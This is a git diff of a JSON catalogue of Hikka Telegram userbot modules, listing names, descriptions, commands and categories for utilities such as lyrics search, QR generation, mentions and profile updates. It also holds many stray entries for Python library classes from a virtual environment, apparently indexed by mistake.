"https://styles.redditmedia.com/t5_3htpk/styles/communityIcon_vlbulj1gn8l11.png", - "banner": null, - "developer": "@cakestwix_mods" + "pic": null, + "banner": null }, - "commands": [ - { - "sakuracmd": "Project Sakura" - }, - { - "dotoscmd": "DotOS" - }, - { - "twrpcmd": "TWRP Devices" - }, - { - "shrpcmd": "SHRP Devices" - }, - { - "pbrpcmd": "PBRP Devices" - }, - { - "magiskcmd": "Magisk by topjohnwu" - } - ], - "new_commands": [ - { - "sakura": { - "ru_doc": null, - "en_doc": null, - "doc": "Project Sakura" - } - }, - { - "dotos": { - "ru_doc": null, - "en_doc": null, - "doc": "DotOS" - } - }, - { - "twrp": { - "ru_doc": null, - "en_doc": null, - "doc": "TWRP Devices" - } - }, - { - "shrp": { - "ru_doc": null, - "en_doc": null, - "doc": "SHRP Devices" - } - }, - { - "pbrp": { - "ru_doc": null, - "en_doc": null, - "doc": "PBRP Devices" - } - }, - { - "magisk": { - "ru_doc": null, - "en_doc": null, - "doc": "Magisk by topjohnwu" - } - } - ], + "commands": [], + "new_commands": [], "category": [ - "Tools", - "Chat" + "Fun", + "Tools" ] }, - "CakesTwix/Hikka-Modules/InlineYouTube.py": { - "name": "YouTubeMod", - "description": "Download YouTube videos with video and audio quality selection", + "venv/lib/python3.9/site-packages/setuptools/tests/config/test_apply_pyprojecttoml.py": { + "name": "TestExtModules", + "description": null, "meta": { - "pic": "https://img.icons8.com/bubbles/512/000000/youtube-play.png", - "banner": null, - "developer": "@cakestwix_mods" + "pic": null, + "banner": null }, - "commands": [ - { - "ytcmd": "[quality(144p/720p/etc)] <link> - Download video from youtube" - } - ], - "new_commands": [ - { - "yt": { - "ru_doc": null, - "en_doc": null, - "doc": "[quality(144p/720p/etc)] <link> - Download video from youtube" - } - } - ], + "commands": [], + "new_commands": [], "category": [ - "Media", - "Chat" + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/setuptools/config/expand.py": { + "name": "StaticModule", + "description": "Proxy to a module object that avoids executing arbitrary code.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Fun" + ] + }, + "venv/lib/python3.9/site-packages/setuptools/_vendor/inflect/__init__.py": { + "name": "UnknownClassicalModeError", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/setuptools/_vendor/autocommand/automain.py": { + "name": "AutomainRequiresModuleError", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" ] }, "venv/lib/python3.9/site-packages/scipy/__config__.py": { @@ -4920,6 +15787,62 @@ "Tools" ] }, + "venv/lib/python3.9/site-packages/scipy/optimize/_trustregion_constr/tests/test_qp_subproblem.py": { + "name": "TestModifiedDogleg", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/scipy/_lib/_testutils.py": { + "name": "FPUModeChangeWarning", + "description": "Warning about FPU mode change", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Fun" + ] + }, + "venv/lib/python3.9/site-packages/scipy/stats/tests/test_mstats_basic.py": { + "name": "TestMode", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/scipy/stats/tests/test_stats.py": { + "name": "TestMode", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, "venv/lib/python3.9/site-packages/scipy/odr/_odrpack.py": { "name": "Model", "description": "The Model class stores information about the function you wish to fit.\n\nIt stores the function itself, at the least, and optionally stores\nfunctions which compute the Jacobians used during fitting. Also, one\ncan provide a function that will provide reasonable starting values\nfor the fit parameters possibly given the set of data.\n\nParameters\n----------\nfcn : function\n fcn(beta, x) --> y\nfjacb : function\n Jacobian of fcn wrt the fit parameters beta.\n\n fjacb(beta, x) --> @f_i(x,B)/@B_j\nfjacd : function\n Jacobian of fcn wrt the (possibly multidimensional) input\n variable.\n\n fjacd(beta, x) --> @f_i(x,B)/@x_j\nextra_args : tuple, optional\n If specified, `extra_args` should be a tuple of extra\n arguments to pass to `fcn`, `fjacb`, and `fjacd`. Each will be called\n by `apply(fcn, (beta, x) + extra_args)`\nestimate : array_like of rank-1\n Provides estimates of the fit parameters from the data\n\n estimate(data) --> estbeta\nimplicit : boolean\n If TRUE, specifies that the model\n is implicit; i.e `fcn(beta, x)` ~= 0 and there is no y data to fit\n against\nmeta : dict, optional\n freeform dictionary of metadata for the model\n\nNotes\n-----\nNote that the `fcn`, `fjacb`, and `fjacd` operate on NumPy arrays and\nreturn a NumPy array. The `estimate` object takes an instance of the\nData class.\n\nHere are the rules for the shapes of the argument and return\narrays of the callback functions:\n\n`x`\n if the input data is single-dimensional, then `x` is rank-1\n array; i.e., ``x = array([1, 2, 3, ...]); x.shape = (n,)``\n If the input data is multi-dimensional, then `x` is a rank-2 array;\n i.e., ``x = array([[1, 2, ...], [2, 4, ...]]); x.shape = (m, n)``.\n In all cases, it has the same shape as the input data array passed to\n `~scipy.odr.odr`. `m` is the dimensionality of the input data,\n `n` is the number of observations.\n`y`\n if the response variable is single-dimensional, then `y` is a\n rank-1 array, i.e., ``y = array([2, 4, ...]); y.shape = (n,)``.\n If the response variable is multi-dimensional, then `y` is a rank-2\n array, i.e., ``y = array([[2, 4, ...], [3, 6, ...]]); y.shape =\n (q, n)`` where `q` is the dimensionality of the response variable.\n`beta`\n rank-1 array of length `p` where `p` is the number of parameters;\n i.e. ``beta = array([B_1, B_2, ..., B_p])``\n`fjacb`\n if the response variable is multi-dimensional, then the\n return array's shape is `(q, p, n)` such that ``fjacb(x,beta)[l,k,i] =\n d f_l(X,B)/d B_k`` evaluated at the ith data point. If `q == 1`, then\n the return array is only rank-2 and with shape `(p, n)`.\n`fjacd`\n as with fjacb, only the return array's shape is `(q, m, n)`\n such that ``fjacd(x,beta)[l,j,i] = d f_l(X,B)/d X_j`` at the ith data\n point. If `q == 1`, then the return array's shape is `(m, n)`. If\n `m == 1`, the shape is (q, n). If `m == q == 1`, the shape is `(n,)`.", @@ -4948,188 +15871,6 @@ "Chat" ] }, - "venv/lib/python3.9/site-packages/scipy/_lib/_testutils.py": { - "name": "FPUModeChangeWarning", - "description": "Warning about FPU mode change", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Fun" - ] - }, - "venv/lib/python3.9/site-packages/scipy/optimize/_trustregion_constr/tests/test_qp_subproblem.py": { - "name": "TestModifiedDogleg", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/scipy/stats/tests/test_mstats_basic.py": { - "name": "TestMode", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/scipy/stats/tests/test_stats.py": { - "name": "TestMode", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/setuptools/config.py": { - "name": "StaticModule", - "description": "Attempt to load the module by the name", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Fun" - ] - }, - "venv/lib/python3.9/site-packages/setuptools/_distutils/errors.py": { - "name": "DistutilsModuleError", - "description": "Unable to load an expected module, or to find an expected class\nwithin some module (in particular, command modules and classes).", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Games" - ] - }, - "venv/lib/python3.9/site-packages/numpy/exceptions.py": { - "name": "ModuleDeprecationWarning", - "description": "Module deprecation warning.\n\n.. warning::\n\n This warning should not be used, since nose testing is not relevant\n anymore.\n\nThe nose tester turns ordinary Deprecation warnings into test failures.\nThat makes it hard to deprecate whole modules, because they get\nimported by default. So this is a special Deprecation warning that the\nnose tester will let pass without making tests fail.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Chat" - ] - }, - "venv/lib/python3.9/site-packages/numpy/_globals.py": { - "name": "_CopyMode", - "description": "An enumeration for the copy modes supported\nby numpy.copy() and numpy.array(). The following three modes are supported,\n\n- ALWAYS: This means that a deep copy of the input\n array will always be taken.\n- IF_NEEDED: This means that a deep copy of the input\n array will be taken only if necessary.\n- NEVER: This means that the deep copy will never be taken.\n If a copy cannot be avoided then a `ValueError` will be\n raised.\n\nNote that the buffer-protocol could in theory do copies. NumPy currently\nassumes an object exporting the buffer protocol will never do this.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Chat" - ] - }, - "venv/lib/python3.9/site-packages/numpy/__config__.py": { - "name": "DisplayModes", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/numpy/f2py/tests/test_crackfortran.py": { - "name": "TestModuleDeclaration", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/numpy/f2py/tests/test_modules.py": { - "name": "TestUsedModule", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/numpy/ma/timer_comparison.py": { - "name": "ModuleTester", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/numpy/_core/tests/test_scalarmath.py": { - "name": "TestModulus", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, "venv/lib/python3.9/site-packages/pip/_vendor/urllib3/request.py": { "name": "RequestModule", "description": null, @@ -5158,6 +15899,20 @@ "Fun" ] }, + "venv/lib/python3.9/site-packages/pip/_vendor/cachecontrol/heuristics.py": { + "name": "LastModified", + "description": "If there is no Expires header already, fall back on Last-Modified\nusing the heuristic from\nhttp://tools.ietf.org/html/rfc7234#section-4.2.2\nto calculate a reasonable value.\n\nFirefox also does something like this per\nhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Caching_FAQ\nhttp://lxr.mozilla.org/mozilla-release/source/netwerk/protocol/http/nsHttpResponseHead.cpp#397\nUnlike mozilla we limit this to 24-hr.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, "venv/lib/python3.9/site-packages/pip/_vendor/requests/exceptions.py": { "name": "FileModeWarning", "description": "A file was opened in text mode, but Requests determined its binary length.", @@ -5186,50 +15941,8 @@ "Tools" ] }, - "venv/lib/python3.9/site-packages/pip/_vendor/cachecontrol/heuristics.py": { - "name": "LastModified", - "description": "If there is no Expires header already, fall back on Last-Modified\nusing the heuristic from\nhttp://tools.ietf.org/html/rfc7234#section-4.2.2\nto calculate a reasonable value.\n\nFirefox also does something like this per\nhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Caching_FAQ\nhttp://lxr.mozilla.org/mozilla-release/source/netwerk/protocol/http/nsHttpResponseHead.cpp#397\nUnlike mozilla we limit this to 24-hr.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "venv/lib/python3.9/site-packages/sklearn/metrics/_pairwise_distances_reduction/_dispatcher.py": { - "name": "RadiusNeighborsClassMode", - "description": "Compute radius-based class modes of row vectors of X using the\nthose of Y.\n\nFor each row-vector X[i] of the queries X, find all the indices j of\nrow-vectors in Y such that:\n\n dist(X[i], Y[j]) <= radius\n\nRadiusNeighborsClassMode is typically used to perform bruteforce\nradius neighbors queries when the weighted mode of the labels for\nthe nearest neighbors within the specified radius are required,\nsuch as in `predict` methods.\n\nThis class is not meant to be instantiated, one should only use\nits :meth:`compute` classmethod which handles allocation and\ndeallocation consistently.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Chat" - ] - }, - "venv/lib/python3.9/site-packages/sklearn/feature_selection/_from_model.py": { - "name": "SelectFromModel", - "description": "Meta-transformer for selecting features based on importance weights.\n\n.. versionadded:: 0.17\n\nRead more in the :ref:`User Guide <select_from_model>`.\n\nParameters\n----------\nestimator : object\n The base estimator from which the transformer is built.\n This can be both a fitted (if ``prefit`` is set to True)\n or a non-fitted estimator. The estimator should have a\n ``feature_importances_`` or ``coef_`` attribute after fitting.\n Otherwise, the ``importance_getter`` parameter should be used.\n\nthreshold : str or float, default=None\n The threshold value to use for feature selection. Features whose\n absolute importance value is greater or equal are kept while the others\n are discarded. If \"median\" (resp. \"mean\"), then the ``threshold`` value\n is the median (resp. the mean) of the feature importances. A scaling\n factor (e.g., \"1.25*mean\") may also be used. If None and if the\n estimator has a parameter penalty set to l1, either explicitly\n or implicitly (e.g, Lasso), the threshold used is 1e-5.\n Otherwise, \"mean\" is used by default.\n\nprefit : bool, default=False\n Whether a prefit model is expected to be passed into the constructor\n directly or not.\n If `True`, `estimator` must be a fitted estimator.\n If `False`, `estimator` is fitted and updated by calling\n `fit` and `partial_fit`, respectively.\n\nnorm_order : non-zero int, inf, -inf, default=1\n Order of the norm used to filter the vectors of coefficients below\n ``threshold`` in the case where the ``coef_`` attribute of the\n estimator is of dimension 2.\n\nmax_features : int, callable, default=None\n The maximum number of features to select.\n\n - If an integer, then it specifies the maximum number of features to\n allow.\n - If a callable, then it specifies how to calculate the maximum number of\n features allowed by using the output of `max_features(X)`.\n - If `None`, then all features are kept.\n\n To only select based on ``max_features``, set ``threshold=-np.inf``.\n\n .. versionadded:: 0.20\n .. versionchanged:: 1.1\n `max_features` accepts a callable.\n\nimportance_getter : str or callable, default='auto'\n If 'auto', uses the feature importance either through a ``coef_``\n attribute or ``feature_importances_`` attribute of estimator.\n\n Also accepts a string that specifies an attribute name/path\n for extracting feature importance (implemented with `attrgetter`).\n For example, give `regressor_.coef_` in case of\n :class:`~sklearn.compose.TransformedTargetRegressor` or\n `named_steps.clf.feature_importances_` in case of\n :class:`~sklearn.pipeline.Pipeline` with its last step named `clf`.\n\n If `callable`, overrides the default feature importance getter.\n The callable is passed with the fitted estimator and it should\n return importance for each feature.\n\n .. versionadded:: 0.24\n\nAttributes\n----------\nestimator_ : estimator\n The base estimator from which the transformer is built. This attribute\n exist only when `fit` has been called.\n\n - If `prefit=True`, it is a deep copy of `estimator`.\n - If `prefit=False`, it is a clone of `estimator` and fit on the data\n passed to `fit` or `partial_fit`.\n\nn_features_in_ : int\n Number of features seen during :term:`fit`. Only defined if the\n underlying estimator exposes such an attribute when fit.\n\n .. versionadded:: 0.24\n\nmax_features_ : int\n Maximum number of features calculated during :term:`fit`. Only defined\n if the ``max_features`` is not `None`.\n\n - If `max_features` is an `int`, then `max_features_ = max_features`.\n - If `max_features` is a callable, then `max_features_ = max_features(X)`.\n\n .. versionadded:: 1.1\n\nfeature_names_in_ : ndarray of shape (`n_features_in_`,)\n Names of features seen during :term:`fit`. Defined only when `X`\n has feature names that are all strings.\n\n .. versionadded:: 1.0\n\nthreshold_ : float\n The threshold value used for feature selection.\n\nSee Also\n--------\nRFE : Recursive feature elimination based on importance weights.\nRFECV : Recursive feature elimination with built-in cross-validated\n selection of the best number of features.\nSequentialFeatureSelector : Sequential cross-validation based feature\n selection. Does not rely on importance weights.\n\nNotes\n-----\nAllows NaN/Inf in the input if the underlying estimator does as well.\n\nExamples\n--------\n>>> from sklearn.feature_selection import SelectFromModel\n>>> from sklearn.linear_model import LogisticRegression\n>>> X = [[ 0.87, -1.34, 0.31 ],\n... [-2.79, -0.02, -0.85 ],\n... [-1.34, -0.48, -2.55 ],\n... [ 1.92, 1.48, 0.65 ]]\n>>> y = [0, 1, 0, 1]\n>>> selector = SelectFromModel(estimator=LogisticRegression()).fit(X, y)\n>>> selector.estimator_.coef_\narray([[-0.3252..., 0.8345..., 0.4976...]])\n>>> selector.threshold_\nnp.float64(0.55249...)\n>>> selector.get_support()\narray([False, True, False])\n>>> selector.transform(X)\narray([[-1.34],\n [-0.02],\n [-0.48],\n [ 1.48]])\n\nUsing a callable to create a selector that can use no more than half\nof the input features.\n\n>>> def half_callable(X):\n... return round(len(X[0]) / 2)\n>>> half_selector = SelectFromModel(estimator=LogisticRegression(),\n... max_features=half_callable)\n>>> _ = half_selector.fit(X, y)\n>>> half_selector.max_features_\n2", - "meta": { - "pic": null, - "banner": null - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Chat" - ] - }, - "venv/lib/python3.9/site-packages/sklearn/utils/tests/test_estimator_checks.py": { - "name": "ModifiesAnotherValue", + "venv/lib/python3.9/site-packages/numpy/__config__.py": { + "name": "DisplayModes", "description": null, "meta": { "pic": null, @@ -5242,79 +15955,3611 @@ "Tools" ] }, - "venv/lib/python3.9/site-packages/sklearn/tests/test_base.py": { - "name": "ModifyInitParams", - "description": "Deprecated behavior.\nEqual parameters but with a type cast.\nDoesn't fulfill a is a", + "venv/lib/python3.9/site-packages/numpy/exceptions.py": { + "name": "ModuleDeprecationWarning", + "description": "Module deprecation warning.\n\n.. warning::\n\n This warning should not be used, since nose testing is not relevant\n anymore.\n\nThe nose tester turns ordinary Deprecation warnings into test failures.\nThat makes it hard to deprecate whole modules, because they get\nimported by default. So this is a special Deprecation warning that the\nnose tester will let pass without making tests fail.", "meta": { "pic": null, "banner": null }, "commands": [], "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, + "venv/lib/python3.9/site-packages/numpy/_globals.py": { + "name": "_CopyMode", + "description": "An enumeration for the copy modes supported\nby numpy.copy() and numpy.array(). The following three modes are supported,\n\n- ALWAYS: This means that a deep copy of the input\n array will always be taken.\n- IF_NEEDED: This means that a deep copy of the input\n array will be taken only if necessary.\n- NEVER: This means that the deep copy will never be taken.\n If a copy cannot be avoided then a `ValueError` will be\n raised.\n\nNote that the buffer-protocol could in theory do copies. NumPy currently\nassumes an object exporting the buffer protocol will never do this.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, + "venv/lib/python3.9/site-packages/numpy/f2py/tests/test_modules.py": { + "name": "TestUsedModule", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/numpy/f2py/tests/test_crackfortran.py": { + "name": "TestModuleDeclaration", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/numpy/_core/tests/test_scalarmath.py": { + "name": "TestModulus", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/numpy/ma/timer_comparison.py": { + "name": "ModuleTester", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "fiksofficial/python-modules/createavatarspack.py": { + "name": "CreateAvatarsPack", + "description": "Creates a sticker pack from photos and video avatars of participants", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "createavatars": "- Create a sticker pack from the avatars of users in the group - Создать стикерпак из аватаров пользователей группы" + } + ], + "new_commands": [ + { + "createavatars": { + "ru_doc": "- Создать стикерпак из аватаров пользователей группы", + "en_doc": null, + "doc": "- Create a sticker pack from the avatars of users in the group" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/lyrics.py": { + "name": "LyricsMod", + "description": "Модуль для поиска текста песни через Genius API", + "meta": { + "pic": null, + "banner": null, + "developer": "@PyModule" + }, + "commands": [ + { + "lyrics": "[запрос] - Найти текст песни по запросу" + } + ], + "new_commands": [ + { + "lyrics": { + "ru_doc": null, + "en_doc": null, + "doc": "[запрос] - Найти текст песни по запросу" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/randomizer.py": { + "name": "RandomizerMod", + "description": "Randomly selects one of the comma-separated values.", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "randomizecmd": "Выбирает случайное значение из перечисленных через запятую" + } + ], + "new_commands": [ + { + "randomize": { + "ru_doc": "Выбирает случайное значение из перечисленных через запятую", + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/ai.py": { + "name": "AIModule", + "description": "Module for interacting with AI", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "ai": "Отправить вопрос к AI. Использование: .ai [--no-history] <вопрос>" + }, + { + "txtai": "Отправить содержимое файла к AI. Использование: .txtai [--no-history] (ответ на файл)" + }, + { + "clearai": "Очистить историю запросов. Использование: .clearai" + }, + { + "aiconfig": "Просмотреть или изменить настройки. Использование: .aiconfig [--edit]" + }, + { + "aitest": "Проверить валидность API-ключа. Использование: .aitest" + } + ], + "new_commands": [ + { + "ai": { + "ru_doc": "Отправить вопрос к AI. Использование: .ai [--no-history] <вопрос>", + "en_doc": null, + "doc": null + } + }, + { + "txtai": { + "ru_doc": "Отправить содержимое файла к AI. Использование: .txtai [--no-history] (ответ на файл)", + "en_doc": null, + "doc": null + } + }, + { + "clearai": { + "ru_doc": "Очистить историю запросов. Использование: .clearai", + "en_doc": null, + "doc": null + } + }, + { + "aiconfig": { + "ru_doc": "Просмотреть или изменить настройки. Использование: .aiconfig [--edit]", + "en_doc": null, + "doc": null + } + }, + { + "aitest": { + "ru_doc": "Проверить валидность API-ключа. Использование: .aitest", + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/qrgen.py": { + "name": "QRGenMod", + "description": "Generate QR codes from text or links", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "qr": "<text or URL> — generate QR code Сгенерировать QR-код из текста или ссылки" + } + ], + "new_commands": [ + { + "qr": { + "ru_doc": "Сгенерировать QR-код из текста или ссылки", + "en_doc": null, + "doc": "<text or URL> — generate QR code" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fiksofficial/python-modules/tagall2.0.py": { + "name": "TagAllMod", + "description": "TagAll 2.0 — smart mention of chat participants: .tagall {all/admins/online/active} {text}", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "tagallcmd": "Mention members: .tagall {all/admins/online/active} {text} Упомянуть участников: .tagall {all/admins/online/active} {текст}" + } + ], + "new_commands": [ + { + "tagall": { + "ru_doc": "Упомянуть участников: .tagall {all/admins/online/active} {текст}", + "en_doc": null, + "doc": "Mention members: .tagall {all/admins/online/active} {text}" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/multiunloadmodule.py": { + "name": "MultiUnloadModule", + "description": "Unloads several modules at once with one command", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "mulm": "{modules separated by commas} - unload multiple modules {модули через запятую} — выгрузить несколько модулей" + } + ], + "new_commands": [ + { + "mulm": { + "ru_doc": "{модули через запятую} — выгрузить несколько модулей", + "en_doc": null, + "doc": "{modules separated by commas} - unload multiple modules" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/autoprofile.py": { + "name": "AutoProfileMod", + "description": "Automatically update your profile description", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "autodesccmd": "Toggle auto bio Включить или отключить автоописание Enable or disable auto bio updates" + }, + { + "adddesccmd": "Add description Добавить описание: .adddesc <текст> Add a description: .adddesc <text>" + }, + { + "deldesccmd": "Delete description Удалить описание по номеру: .deldesc <номер> Delete description by number: .deldesc <number>" + }, + { + "listdesccmd": "List descriptions Показать список описаний Show list of descriptions" + }, + { + "setintervalcmd": "Set update interval Установить интервал обновления: .setinterval <сек> Set update interval: .setinterval <seconds>" + } + ], + "new_commands": [ + { + "autodesc": { + "ru_doc": "Включить или отключить автоописание", + "en_doc": "Enable or disable auto bio updates", + "doc": "Toggle auto bio" + } + }, + { + "adddesc": { + "ru_doc": "Добавить описание: .adddesc <текст>", + "en_doc": "Add a description: .adddesc <text>", + "doc": "Add description" + } + }, + { + "deldesc": { + "ru_doc": "Удалить описание по номеру: .deldesc <номер>", + "en_doc": "Delete description by number: .deldesc <number>", + "doc": "Delete description" + } + }, + { + "listdesc": { + "ru_doc": "Показать список описаний", + "en_doc": "Show list of descriptions", + "doc": "List descriptions" + } + }, + { + "setinterval": { + "ru_doc": "Установить интервал обновления: .setinterval <сек>", + "en_doc": "Set update interval: .setinterval <seconds>", + "doc": "Set update interval" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fiksofficial/python-modules/userparser.py": { + "name": "UserIDParserMod", + "description": "Парсер ID, имени, фамилии и юзернейма пользователей с выбором формата файла", + "meta": { + "pic": null, + "banner": null, + "developer": "@PyModule" + }, + "commands": [ + { + "formatparscmd": "Устанавливает формат файла: json, txt или html" + }, + { + "userparscmd": "Собирает информацию о пользователях из чата и сохраняет в файл" + } + ], + "new_commands": [ + { + "formatpars": { + "ru_doc": null, + "en_doc": null, + "doc": "Устанавливает формат файла: json, txt или html" + } + }, + { + "userpars": { + "ru_doc": null, + "en_doc": null, + "doc": "Собирает информацию о пользователях из чата и сохраняет в файл" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/point.py": { + "name": "PointSentenceCaseMod", + "description": "Automatically capitalizes the first letter of each sentence and adds a period at the end of the message (if there isn't one).", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "pointcase": "{on/off} - enables/disables the module {on/off} — включает/выключает модуль" + }, + { + "pointcaseignore": "{on/off} - enables/disables ignoring channels {on/off} — включает/выключает игнорирование каналов" + } + ], + "new_commands": [ + { + "pointcase": { + "ru_doc": "{on/off} — включает/выключает модуль", + "en_doc": null, + "doc": "{on/off} - enables/disables the module" + } + }, + { + "pointcaseignore": { + "ru_doc": "{on/off} — включает/выключает игнорирование каналов", + "en_doc": null, + "doc": "{on/off} - enables/disables ignoring channels" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fiksofficial/python-modules/calc.py": { + "name": "CalcMod", + "description": "Калькулятор.", + "meta": { + "pic": null, + "banner": null, + "developer": "@pymodule" + }, + "commands": [ + { + "calc": "[Выражение] - Вычислить выражение" + } + ], + "new_commands": [ + { + "calc": { + "ru_doc": "[Выражение] - Вычислить выражение", + "en_doc": null, + "doc": null + } + } + ], "category": [ "Tools", "Fun" ] }, - "venv/lib/python3.9/site-packages/sklearn/linear_model/_linear_loss.py": { - "name": "LinearModelLoss", - "description": "General class for loss functions with raw_prediction = X @ coef + intercept.\n\nNote that raw_prediction is also known as linear predictor.\n\nThe loss is the average of per sample losses and includes a term for L2\nregularization::\n\n loss = 1 / s_sum * sum_i s_i loss(y_i, X_i @ coef + intercept)\n + 1/2 * l2_reg_strength * ||coef||_2^2\n\nwith sample weights s_i=1 if sample_weight=None and s_sum=sum_i s_i.\n\nGradient and hessian, for simplicity without intercept, are::\n\n gradient = 1 / s_sum * X.T @ loss.gradient + l2_reg_strength * coef\n hessian = 1 / s_sum * X.T @ diag(loss.hessian) @ X\n + l2_reg_strength * identity\n\nConventions:\n if fit_intercept:\n n_dof = n_features + 1\n else:\n n_dof = n_features\n\n if base_loss.is_multiclass:\n coef.shape = (n_classes, n_dof) or ravelled (n_classes * n_dof,)\n else:\n coef.shape = (n_dof,)\n\n The intercept term is at the end of the coef array:\n if base_loss.is_multiclass:\n if coef.shape (n_classes, n_dof):\n intercept = coef[:, -1]\n if coef.shape (n_classes * n_dof,)\n intercept = coef[n_features::n_dof] = coef[(n_dof-1)::n_dof]\n intercept.shape = (n_classes,)\n else:\n intercept = coef[-1]\n\n Shape of gradient follows shape of coef.\n gradient.shape = coef.shape\n\n But hessian (to make our lives simpler) are always 2-d:\n if base_loss.is_multiclass:\n hessian.shape = (n_classes * n_dof, n_classes * n_dof)\n else:\n hessian.shape = (n_dof, n_dof)\n\nNote: If coef has shape (n_classes * n_dof,), the 2d-array can be reconstructed as\n\n coef.reshape((n_classes, -1), order=\"F\")\n\nThe option order=\"F\" makes coef[:, i] contiguous. This, in turn, makes the\ncoefficients without intercept, coef[:, :-1], contiguous and speeds up\nmatrix-vector computations.\n\nNote: If the average loss per sample is wanted instead of the sum of the loss per\nsample, one can simply use a rescaled sample_weight such that\nsum(sample_weight) = 1.\n\nParameters\n----------\nbase_loss : instance of class BaseLoss from sklearn._loss.\nfit_intercept : bool", + "fiksofficial/python-modules/channeladapter.py": { + "name": "ChannelAdapterMod", + "description": "Модуль для добавления переходника в сообщения каналов", "meta": { "pic": null, - "banner": null + "banner": null, + "developer": "@PyModule" }, - "commands": [], - "new_commands": [], + "commands": [ + { + "addadaptercmd": "[CHANNEL ID] [Текст] - Добавить канал и переходник." + }, + { + "deladaptercmd": "[CHANNEL 